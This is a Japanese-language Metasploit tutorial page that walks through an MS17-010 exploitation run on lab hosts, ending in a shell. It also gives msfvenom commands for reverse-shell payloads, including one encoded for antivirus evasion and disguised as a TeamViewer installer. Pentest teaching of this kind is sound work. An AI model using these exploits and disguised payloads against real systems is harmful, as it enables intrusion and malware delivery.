> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/hacking-tools/exploitation/metasploit.md).

# Metasploit

msfconsole、モジュール検索、auxiliary モジュール、exploit モジュール、ペイロード、エンコーダー、msfvenom、Meterpreter、データベースワークスペース、セッション、サービス列挙を含む Metasploit Framework の手法メモ。

## Metasploit:

{% hint style="info" %}
Metasploitは、ITシステムの脆弱性を評価するためにITセキュリティ専門家によって広く使用されているオープンソースのペネトレーションテストプラットフォームです。ネットワーク、オペレーティングシステム、アプリケーション、その他のITコンポーネントにおけるセキュリティ脆弱性の発見、悪用、保護のためのツールとリソース一式を提供します。要するに、Metasploitはペネトレーションテストとセキュリティ監査を実施するための包括的なフレームワークです。
{% endhint %}

デフォルトでは、Metasploit Frameworkに関連するすべてのコアファイルは `/usr/share/metasploit-framework`

## Metasploitのワークフロー

1. モジュールを選択する前に、公開されているサービス、バージョン、プラットフォーム、および想定される脆弱性を特定します。
2. サービス、CVE、プラットフォーム、種類、ランク、名前でモジュールを検索し、その後モジュール情報と参照情報を確認します。
3. 最小限で信頼できる構成で、ターゲットオプション、ペイロードオプション、リスナーのアドレス、ターゲット選択を設定します。
4. 利用可能な場合はチェックを実行し、確認済みのモジュールのみを実行し、レポート用にモジュールの出力を保存します。
5. 評価が大規模になる場合は、Metasploitデータベースを通じてセッション、ワークスペース、loot、認証情報、サービス、ホストを管理します。

### **モジュール:**

上記で詳述したモジュールは、このファイル内で異なるカテゴリに分けられています。以下のセクションでそれらを詳しく説明します。これらは次のフォルダに含まれています:<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77dfbf31283b2d3bfa49b50822638774550ebbd7%2Fimage%20(2425).png?alt=media" alt=""><figcaption></figcaption></figure>

### **プラグイン:**

プラグインを使うと、ペンテスターはより柔軟に `msfconsole`なります。必要に応じて手動または自動で簡単に読み込めるため、評価中に追加機能や自動化を提供できます。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edae3294cc47c3a2cc6d9a7b8a6da41a4f6862f7%2Fimage%20(2426).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### シナリオ:

Meterpreterの機能やその他の便利なスクリプト。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbfdb7ea26f6d2afe655265e269a724fb61af2a7%2Fimage%20(2427).png?alt=media" alt="" width="471"><figcaption></figcaption></figure>

### **ツール:**

直接呼び出せるコマンドラインユーティリティ `msfconsole`メニュー

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-260718694bd64a3ecbbd9379daeeda1eb6238e06%2Fimage%20(2428).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13df96f51b0e8b40b505c931948efb56fac8df30%2Fimage%20(2424).png?alt=media" alt=""><figcaption></figcaption></figure>

### MSFのエンゲージメント構造

MSFのエンゲージメント構造は、5つの主要なカテゴリに分けることができます。

* 列挙
* 準備
* 悪用
* 権限昇格
* 侵害後

{% hint style="info" %}
この区分により、適切なMSF機能をより構造的に見つけて選択し、それに応じて扱いやすくなります。各カテゴリには特定の目的を意図した異なるサブカテゴリがあります。これには、たとえばサービス検証や脆弱性調査が含まれます。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33d8ad54ed6afb63be4d2040b16135f6e955c0f0%2Fimage%20(2423).png?alt=media" alt=""><figcaption></figcaption></figure>

## **コンポーネント**

### モジュールを検索する:

#### 一度 `msfconsole`に入ると、利用可能なすべてのMetasploitモジュールを含む長い一覧から選択できます。それぞれはフォルダに構造化されており、次のようになります:

**構文:**

```bash
<番号> <種類>/<OS>/<サービス>/<名前>
```

**例**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **番号:**

その `番号`タグは、検索時に後で実行したいexploitを選択するために表示されます。 `番号`このタグが特定のMetasploitモジュールを選ぶのにどれほど便利かは後でわかります。

2. **種類:**

| 種類:         | **説明**                                         |
| ----------- | ---------------------------------------------- |
| `Auxiliary` | スキャン、ファジング、検出、管理機能。サポートと追加機能を提供します。            |
| `エンコーダー`    | ペイロードが目的地に到達するまで保持されるようにします。                   |
| `Exploits`  | 脆弱性を悪用してペイロードを送達するモジュール。                       |
| `NOPs`      | （ノーオペレーションコード） 複数回の攻撃試行間でペイロードのサイズを一定に保ちます。    |
| `ペイロード`     | コードはリモートで実行され、攻撃者のマシンにコールバックして接続またはシェルを確立します。  |
| `プラグイン`     | 追加スクリプトは `msfconsole` 評価に統合でき、共存できます。          |
| `Post`      | 情報収集、より深いピボット、その他のポストエクスプロイト関連タスクのための幅広いモジュール。 |

3. **OS:**

その `OS`タグは、そのモジュールが作成されたオペレーティングシステムとアーキテクチャを指定します。もちろん、目的の結果を得るには、異なるオペレーティングシステムごとに異なるコードを実行する必要があります 4。 **サービス:**

その `サービス` タグは、ターゲットマシンで動作している脆弱なサービスを指します。たとえば `auxiliary` または `post`などの一部のモジュールでは、このタグは `収集`のような、たとえば認証情報の収集を指すより一般的な活動を意味することがあります。 5。 **名前:**

最後に、 `名前`タグは、特定の目的のために作成されたこのモジュールで実行できる実際の操作を説明します。

**MSF - 検索機能**

たとえば、 `EternalRomance`の旧バージョンのWindows向けexploitを探してみましょう。次のようになるかもしれません:

`search eternalromance`

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-999feeb2ad3e48a6a3fd84fda41b92ed60c1dc92%2Fimage%20(2430).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **特定検索:**

また、検索をもう少し粗くして、サービスの単一カテゴリに絞ることもできます。たとえばCVEなら、年を指定できます（`cve:<年>`）、Windowsプラットフォーム（`platform:<OS>`）、探したいモジュールの種類（`type:<auxiliary/exploit/post>`）、信頼性ランク（`rank:<ランク>`）、検索名（`<パターン>`）を指定できます。これにより、結果は上記すべてに一致するものだけに絞られます。

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2cc2559310b8d7bcfc5596da295b1773672e06e%2Fimage%20(2431).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### モジュールの使用:

最初のモジュールを選ぶには、まずそれを見つける必要があります。EternalRomance exploit（MS17/\_010）に脆弱なSMBのバージョンが動作しているターゲットがあると仮定しましょう。ターゲットをスキャンしたところ、SMBサーバーのポート445が開いていることがわかりました。

**MS17/\_010 の検索**

`search ms17_010`

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c27e5513ac68682cef267e1ab8f5c9d4d402820%2Fimage%20(2432).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**MSF - モジュールの選択**

Metasploitでモジュールを使うには、まず `use` コマンドの後に目的のモジュール番号を入力し、次に `options` コマンドを使って、そのモジュールで利用可能な詳細と設定を確認します。

```bash
一致するモジュール
================

   #  名前                                  開示日          ランク    Check  説明
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB リモートWindowsコード実行
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB リモートWindowsコマンド実行

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

モジュールオプション (exploit/windows/smb/ms17_010_psexec):

   名前                  現在の設定                          必須  説明
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       追加のデバッグトレース情報を表示
   LEAKATTEMPTS          99                                       yes       トランザクションの漏えいを試行する回数
   NAMEDPIPE                                                      no        接続可能な名前付きパイプ（自動の場合は空欄のまま）
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       チェックする名前付きパイプの一覧
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       ターゲットホスト（複数可）。https://github.com/rapid7/metasploit-framework を参照
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       ターゲットポート（TCP）
   SERVICE_DESCRIPTION                                            no        見た目の一覧表示のためにターゲットで使用するサービス説明
   SERVICE_DISPLAY_NAME                                           no        サービスの表示名
   SERVICE_NAME                                                   no        サービス名
   SHARE                 ADMIN$                                   yes       接続する共有。管理共有（ADMIN$,C$,...）または
                                                                            通常の読み書きフォルダ共有
   SMBDomain             .                                        no        認証に使用するWindowsドメイン
   SMBPass                                                        no        指定されたユーザー名のパスワード
   SMBUser                                                        no        認証に使用するユーザー名

ペイロードオプション (windows/meterpreter/reverse_tcp):

   名前      現在の設定  必須  説明
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       終了手法（使用可: '', seh, thread, process, none）
   LHOST                      yes       リッスンアドレス（インターフェースを指定可能）
   LPORT     4444             yes       リッスンポート

エクスプロイト対象:

   Id  名前
   --  ----
   0   自動
```

**モジュール情報**

モジュールについてもっと知りたい場合は、モジュール選択後に `info`コマンドを使えます。これにより、私たちにとって重要な情報が一連表示されます。

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       名前: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB リモートWindowsコード実行
     モジュール: exploit/windows/smb/ms17_010_psexec
   プラットフォーム: Windows
       アーキテクチャ: x86, x64
 権限昇格: いいえ
    ライセンス: Metasploit Framework License (BSD)
       ランク: Normal
  開示日: 2017-03-14

提供者:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

利用可能なターゲット:
  Id  名前
  --  ----
  0   自動
  1   PowerShell
  2   ネイティブアップロード
  3   MOFアップロード

Check対応:
  はい

基本オプション:
  名前                  現在の設定                          必須  説明
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       追加のデバッグトレース情報を表示
  LEAKATTEMPTS          99                                       yes       トランザクションの漏えいを試行する回数
  NAMEDPIPE                                                      no        接続可能な名前付きパイプ（自動の場合は空欄のまま）
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       チェックする名前付きパイプの一覧
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       ターゲットホスト（複数可）。https://github.com/rapid7/metasploit-framework/ を参照
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       ターゲットポート（TCP）
  SERVICE_DESCRIPTION                                            no        見た目の一覧表示のためにターゲットで使用するサービス説明
  SERVICE_DISPLAY_NAME                                           no        サービスの表示名
  SERVICE_NAME                                                   no        サービス名
  SHARE                 ADMIN$                                   yes       接続する共有。管理共有（ADMIN$,C$,...）または
                                                                           通常の読み書きフォルダ共有
  SMBDomain             .                                        no        認証に使用するWindowsドメイン
  SMBPass                                                        no        指定されたユーザー名のパスワード
  SMBUser                                                        no        認証に使用するユーザー名

ペイロード情報:
  空き: 3072

説明:
  このモジュールはMS17-010の脆弱性を持つSMBを悪用して
  write-what-where原始操作を実現します。これを使って
  接続セッション情報を
  管理者セッションとして上書きします。そこから通常のpsexecペイロードコード
  実行が行われます。Transactionと
  WriteAndX要求間の型混同と、Transaction要求における競合状態を悪用し、
  EternalRomance、EternalChampion、EternalSynergy
  のexploitで見られたものです。このexploitチェーンはEternalBlueよりも
  信頼性が高いですが、名前付きパイプが必要です。

参照:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

別名:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**ターゲット指定**

選択したモジュールが目的に合っていると確信できたら、ターゲットホストで正常に使用できるようにモジュールをカスタマイズするためのいくつかの仕様を定義する必要があります。たとえば、ターゲット（ `RHOST`または `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

さらに `setg` というオプションがあり、再起動するまで私たちが選択したオプションを永続化します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2ed54a96a61ddba91c6c51c83d33d46ef03dad7%2Fimage%20(2434).png?alt=media" alt=""><figcaption></figcaption></figure>

**exploitの実行**

すべてが設定され準備が整ったら、攻撃を開始できます。コマンド: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] 10.10.14.15:4444 でリバース TCP ハンドラを開始しました
[*] 10.10.10.40:445 - チェックとして auxiliary/scanner/smb/smb_ms17_010 を使用
[+] 10.10.10.40:445       - ホストはMS17-010に対して脆弱である可能性が高いです! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - 1台中1台をスキャンしました（100%完了）
[*] 10.10.10.40:445 - exploitのためターゲットに接続しています。
[+] 10.10.10.40:445 - exploit用の接続が確立されました。
[+] 10.10.10.40:445 - SMB応答で示されたOSに対して有効なターゲットOSが選択されました
[*] 10.10.10.40:445 - CORE生バッファダンプ（42バイト）
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - DCE/RPC応答で示されたアーキテクチャに対して有効なターゲットアーキテクチャが選択されました
[*] 10.10.10.40:445 - 12個のGroom Allocationでexploitを試行しています。
[*] 10.10.10.40:445 - exploitパケットの最後のフラグメントを除くすべてを送信しています
[*] 10.10.10.40:445 - 非ページプールのグルーミングを開始しています
[+] 10.10.10.40:445 - SMBv2バッファを送信しています
[+] 10.10.10.40:445 - SMBv2バッファに隣接する空き穴を作るため、SMBv1接続を閉じています。
[*] 10.10.10.40:445 - 最後のSMBv2バッファを送信しています。
[*] 10.10.10.40:445 - exploitパケットの最後のフラグメントを送信しています!
[*] 10.10.10.40:445 - exploitパケットからの応答を受信しています
[+] 10.10.10.40:445 - ETERNALBLUEの上書きが正常に完了しました (0xC000000D)!
[*] 10.10.10.40:445 - 壊れた接続にeggを送信しています。
[*] 10.10.10.40:445 - 壊れたバッファの解放をトリガーしています。
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## ターゲット

### **ターゲットを表示:**

その `show targets`exploitモジュール表示で実行すると、その特定のexploitで利用可能な脆弱なターゲットがすべて表示されます。選択をそのままにすると、 `自動`msfconsoleは、攻撃を成功させる前に、指定されたターゲットに対してサービス探索を実行するようになります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ca78baad8230f0f67ca3ccf72e1147854903b8a%2Fimage%20(2435).png?alt=media" alt=""><figcaption></figcaption></figure>

ただし、ターゲット上でどのバージョンが動作しているか分かっている場合は、 `set target <インデックス番号>`コマンドを使って一覧からターゲットを選択できます。

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### ペイロード:

{% hint style="info" %}
〜では `ペイロード` Metasploitでは、モジュールがexploitモジュールに（通常） `シェル` を攻撃者に返すのを支援します。ペイロードはexploit自体と一緒に送信され、脆弱なサービスの標準的な手順（exploitの役割）を回避し、その後ターゲットOS上で実行されて通常は攻撃者への逆接続を返し、ペイロードの役割を確立します。
{% endhint %}

Metasploit frameworkには、3種類の異なるペイロードモジュールがあります: Singles、Stagers、Stages。

1. **単一ペイロード** :

> 単純なペイロードは、exploitと実行に必要なすべてのコードを1つの独立したペイロードに含みます。実行要素が1つだけなので、より安定しています。ただし、一部の攻撃は大きすぎるペイロードをサポートしないため、サイズによる制限があります。ユーザーの追加やターゲットでのプロセス開始など、即時の操作に理想的です。

2. **Stagersペイロード:**

> Stagerペイロードは、ロードを複数の段階に分割することでStageペイロードと連携します。stagerは攻撃者側のシステム上にあり、リモートマシン上でstageが実行されるときにターゲットとのネットワーク接続を開始します。小さく信頼性が高いように設計されており、接続を確立しやすくします。Windows用stagerには、DEP保護との互換性のための「NX」版と「NO-NX」版もあり、NX版は大きめですが現代のシステムに適しています。

3. **Stageペイロード**:

> Stageペイロードは、stagerによってアップロードされるコンポーネントで、高度な機能を持ち、サイズ制限はありません。MeterpreterやVNCインジェクションのような複雑なロードに使われます。エラーを最小化するため、stageは中間stagerを使ってアップロードの安定性を確保します。信頼性が高く継続的なデータフローを必要とする多段階攻撃に特に適しています。

### ステージ付きペイロード:

**ステージ内のペイロード**

Metasploitユーザーとして、私たちは一般的な名前でそれらに出会います `reverse_tcp`, `reverse_https`、および `bind_tcp`。たとえば、 `show payloads`コマンドの下で、次のようなペイロードを検索できます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1e4d92b3c4090403c7eb20b12d40eedeef1ef56%2Fimage%20(2436).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Meterpreterペイロード:**

`Meterpreter` は、DLLインジェクションを使用して安定した永続的な接続を確立する高度なペイロードで、完全にメモリ上で動作するため検出が困難です。スクリプトやプラグインを動的に読み込めます。起動すると、ターゲットシステムを制御するための特定のコマンドを提供するセッションが開きます: `キーストロークの取得、パスワード回復、マイクのリスニングなど。`

### ペイロードの検索:

最初のペイロードを選ぶには、ターゲットマシンで何をしたいのかを知る必要があります。たとえば、アクセスの永続化を目指すなら、おそらくMeterpreterペイロードを選ぶことになるでしょう。

上の一覧を見ていくと、 `Windows(x64)用のMeterpreterペイロード`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  No     Windows Meterpreter (Reflective Injection x64), UUID対応のWindows x64 IPv6 Bind TCP Stager
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   518  windows/x64/meterpreter/bind_tcp                                     manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  No     Windows Meterpreter (Reflective Injection x64), UUID対応のBind TCP Stager (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   524  windows/x64/meterpreter/reverse_tcp                                  manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  No     Windows Meterpreter (Reflective Injection x64), UUID対応のReverse TCP Stager (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  No     Windows Meterpreter Shell, Reverse TCP Inline x64
</code></pre>

### **特定のペイロードの検索:**

また `grep`を使って特定の用語で絞り込むこともできます。これにより検索が速くなり、したがって選択も速くなります。

```bash
grep meterpreter show payloads
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-191ade67bb9818f9ce38186d363e806d9cb579ec%2Fimage%20(2437).png?alt=media" alt=""><figcaption></figcaption></figure>

ここでさらに別の `grep`コマンドを最初の後に追加して `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48f373e96aabdc1a62b4409a6057a93f0c08b631%2Fimage%20(2438).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ペイロードの選択:**

次を使用します `set payload <番号>`最初にExploitモジュールを選択した後でのみ。

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### ペイロードの使用:

Exploit部分では、次の要素を定義する必要があります:

| **パラメータ** | **説明**                   |
| --------- | ------------------------ |
| `RHOSTS`  | リモートホストのIPアドレス、ターゲットマシン。 |
| `RPORT`   | リモートホストのポート。             |

ペイロード部分では、次の要素を定義する必要があります:

| **パラメータ** | **説明**                              |
| --------- | ----------------------------------- |
| `LHOST`   | ホストのIPアドレス、攻撃者のマシン。                 |
| `LPORT`   | 通常は変更不要です。ポートがすでに使用中でないことを確認してください。 |

### ペイロードの種類:

| **ペイロード**                         | **説明**                                                 |
| --------------------------------- | ------------------------------------------------------ |
| `generic/custom`                  | 汎用の多目的リスナー                                             |
| `generic/shell_bind_tcp`          | 汎用の多目的リスナー、通常シェル、TCP bind接続                            |
| `generic/shell_reverse_tcp`       | 汎用の多目的リスナー、通常シェル、reverse TCP接続                         |
| `windows/x64/exec`                | 任意のコマンドを実行します（Windows x64）                             |
| `windows/x64/loadlibrary`         | 任意のx64ライブラリパスを読み込みます                                   |
| `windows/x64/messagebox`          | MessageBoxを通じて、タイトル・テキスト・アイコンをカスタマイズ可能なダイアログボックスを生成します |
| `windows/x64/shell_reverse_tcp`   | 通常のシェル、単一ペイロード、リバースTCP接続                               |
| `windows/x64/shell/reverse_tcp`   | 通常のシェル、ステージャー＋ステージ、リバースTCP接続                           |
| `windows/x64/shell/bind_ipv6_tcp` | 通常のシェル、ステージャー＋ステージ、IPv6 TCPバインド・ステージャー                 |
| `windows/x64/meterpreter/$`       | Meterpreterペイロードと上記のバリアント                              |
| `windows/x64/powershell/$`        | 対話型PowerShellセッションと上記のバリアント                            |
| `windows/x64/vncinject/$`         | VNCサーバー（リフレクティブ・インジェクション）と上記のバリアント                     |

## エンコーダー

{% hint style="info" %}
Metasploitフレームワークが存在してきた15年間で、 `エンコーダー`私たちは、アンチウイルス回避に貢献しながら、ペイロードをさまざまなプロセッサアーキテクチャに対応させる手助けをしてきました。 `エンコーダー`は、ペイロードをさまざまなオペレーティングシステムとアーキテクチャで実行できるように変更する役割を担います。これらのアーキテクチャには次が含まれます：
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### エンコーダーの選択：

> 独自のペイロードを作成したい場合は、 `msfpayload`で可能ですが、その後で `msfencode`を使って対象OSアーキテクチャに基づいてエンコードする必要があります。チャネルは一つのコマンドの出力を次に渡し、ターゲットマシンに送信して実行できるエンコード済みペイロードを生成します。

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac18cc3eac15e831205de57b0085ece7314c9320%2F%7BD3279ABA-2960-43A3-86BE-4ECBA9376109%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **ペイロードの生成 - エンコードなし：**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

次に、 `$buf`の最初の行を見て、次のようなエンコーダーを適用するとどう変化するかを確認しましょう： `shikata_ga_nai`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634afd7fd599c6ee93aea2f65f8be06d24cf9907%2F%7B8E9B03CA-46C2-4B43-AA36-FC9B9CCC7281%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **ペイロードの生成 - エンコードあり：**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8f80ba699d93e31e9a027fa806255f4cff67174%2F%7B6963439A-3BE4-4CA9-AFBF-9F1D68EF5AE4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Shikata Ga Naiによるエンコード：**

> 上の例をそのまま、仮の例として見てみましょう。もし実行可能なペイロードをSGNで一度だけエンコードした場合、現在のほとんどのアンチウイルス製品には検出される可能性が高いでしょう。少し見てみましょう。 `msfvenom`、ペイロード生成とエンコード方式を扱うフレームワークの索引には、次の項目があります：

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7987bb912d2c28575c83fe8658fe350860d054e%2F%7B9D2F800E-06E5-46F0-B550-1CAB0EE070BB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これにより、 `exe`形式のTeamViewerInstall.exeが生成されます。これはWindowsプラットフォームのx86アーキテクチャプロセッサで実行されるはずで、Shikata Ga Nai方式で一度エンコードされた、隠蔽されたreverse/\_tcp Meterpreterシェルペイロードを含みます。結果をVirusTotalにアップロードしてみましょう。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f67ce1978e736431065d695d90d5376c039d81ef%2Fimage%20(1075).png?alt=media" alt=""><figcaption></figcaption></figure>

より良い方法は、同じエンコーディング方式で複数回実行してみることです：

{% code overflow="wrap" %}

```bash
